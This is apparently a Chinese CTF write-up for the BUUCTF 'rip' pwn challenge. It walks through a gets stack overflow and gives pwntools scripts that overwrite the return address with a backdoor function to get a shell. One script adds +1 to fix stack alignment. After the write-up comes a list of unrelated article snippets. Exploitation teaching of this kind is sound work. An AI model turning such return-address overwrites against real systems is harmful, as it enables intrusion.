BUUCTF rip 1

news/2024/5/19 21:05:10 标签: ctf, pwn, buuctf

使用linux的file命令查看基本信息

在这里插入图片描述
64位
使用IDA64位进行反编译

在这里插入图片描述
看到gets就肯定有栈溢出
在这里插入图片描述
能看到有一个 _system函数,改函数能执行系统命令
既然反编译有这个函数说明有地方调用了他

在这里插入图片描述
果然在一个fun函数中有调用,执行的命令是 /bin/sh 也就是一个后门函数,直接可以拿到shell

我们只需要将函数的返回地址覆盖成这个这个函数的地址即可

使用pwntools

from pwn import *

context.arch = 'amd64'
p = remote('node4.buuoj.cn',27079)
elf = ELF(file)

fun = elf.symbols['fun']		# 获取fun函数的符号地址

p.sendline(flat(['a'*0xf , 'a'*8 , fun]))

p.interactive()

执行你就会发现交互失败

这是因为栈未对齐
详细可以参考以下地址
关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题

简单来说就是在调用system函数的时候有一条 movaps 的指令,它要求栈16位对齐

一般64位的程序栈都是以8字节为单位,像push,pop,都是在操作8字节的数据来改变栈

所以可以对system地址处的地址 + 1
在这里插入图片描述
少一个push操作那么就可以16位对齐了

from pwn import *

context.arch = 'amd64'
p = remote('node4.buuoj.cn',27079)
elf = ELF(file)

fun = elf.symbols['fun']

p.sendline(flat(['a'*0xf , 'a'*8 , fun+1]))		# 地址+1

p.interactive()

这里用的是python3的pwntools


http://www.niftyadmin.cn/n/5015474.html

相关文章

web网站性能测试怎么做?常见指标怎么写?

Web性能测试 一、网站web性能测试是什么意思?比如我们在打开一个网站的时候,网站打开时间很慢,或者总是打开失败,这都与网站性能有关系。那么网站性能测试就是通过各种自动化测试工具对系统的指标进行测试,通过模拟正…

Linux--进程创建(fork)-退出--孤儿进程

进程创建&#xff1a; ①使用fork函数创建一个进程&#xff0c;创建的新进程被称为子进程。 #include <unistd.h>//头文件 pid_t fork(void); fork函数调用成功&#xff0c;返回两次&#xff1a; 返回值为0&#xff0c; 代表当前进程为子进程&#xff1b; 返回值为非负数…

《向量数据库》——向量数据库Milvus 和大模型出联名款AI原生Milvus Cloud

大模型技术的发展正加速对千行百业的改革和重塑,向量数据库作为大模型的海量记忆体、云计算作为大模型的大算力平台,是大模型走向行业的基石。而电商行业因其高度的数字化程度,成为打磨大模型的绝佳“战场”。 在此背景下,Zilliz 联合亚马逊云科技举办的【向量数据库 X 云计…

WorkPlus Meet白板和文档共享功能上线,私有化视频会议全新升级

在迅猛发展的数字化时代&#xff0c;私有化视频会议成为企业高效沟通和协作的关键工具。WorkPlus Meet作为领先品牌&#xff0c;倾力打造私有化视频会议平台&#xff0c;并且最新上线了全新的白板和文档共享模块。本文将重点介绍WorkPlus Meet如何通过创新功能和稳定性&#xf…

UMA 2 - Unity Multipurpose Avatar☀️五.如何使用别人的Recipe和创建自己的服饰Recipe

文章目录 🟥 使用别人的Recipe1️⃣ 导入UMA资源效果展示2️⃣ 更新Library3️⃣ 试一下吧🟧 创建自己的服饰Recipe1️⃣ 创建自己的服饰Recipe2️⃣ 选择应用到的Base Recipe3️⃣ 指定显示名 / 佩戴位置 / 隐藏部位4️⃣ 给该服饰Recipe指定Slot / Overlay🚩 赋予Slot�…

平台总线框架(名称匹配、ID匹配、设备数匹配)

一、总线、设备、驱动 硬编码式的驱动开发带来的问题&#xff1a; 垃圾代码太多结构不清晰一些统一设备功能难以支持开发效率低下 1.1 初期解决思路&#xff1a;设备和驱动分离 ​ struct device来表示一个具体设备&#xff0c;主要提供具体设备相关的资源&#xff08;如寄存…

gtest概念应用及原理

概念 gtest是单元测试库可以测试一个函数&#xff0c;也可以测试一个类。 应用和原理 //被测试类 class MyClass{FRIEND_TEST(MyClassTest, private); //test private //为了gtest新增加的一行代码void init(string);void process(void*,void*);void release(); } #define …

【日常笔记】使用Server过程中可能遇到的一些问题

使用Server过程中可能遇到的一些问题 1. 如何查找GPU型号与驱动版本之间的关系&#xff1f;2. 如何查看当前Server的内核版本&#xff1f;3. 使用Nvidia过程中可能用到的命令4. 对Jupyter Notebook的一些配置5. TensorFlow的一般操作6. 使用PyTorch的一些操作7. 修改安装源为国…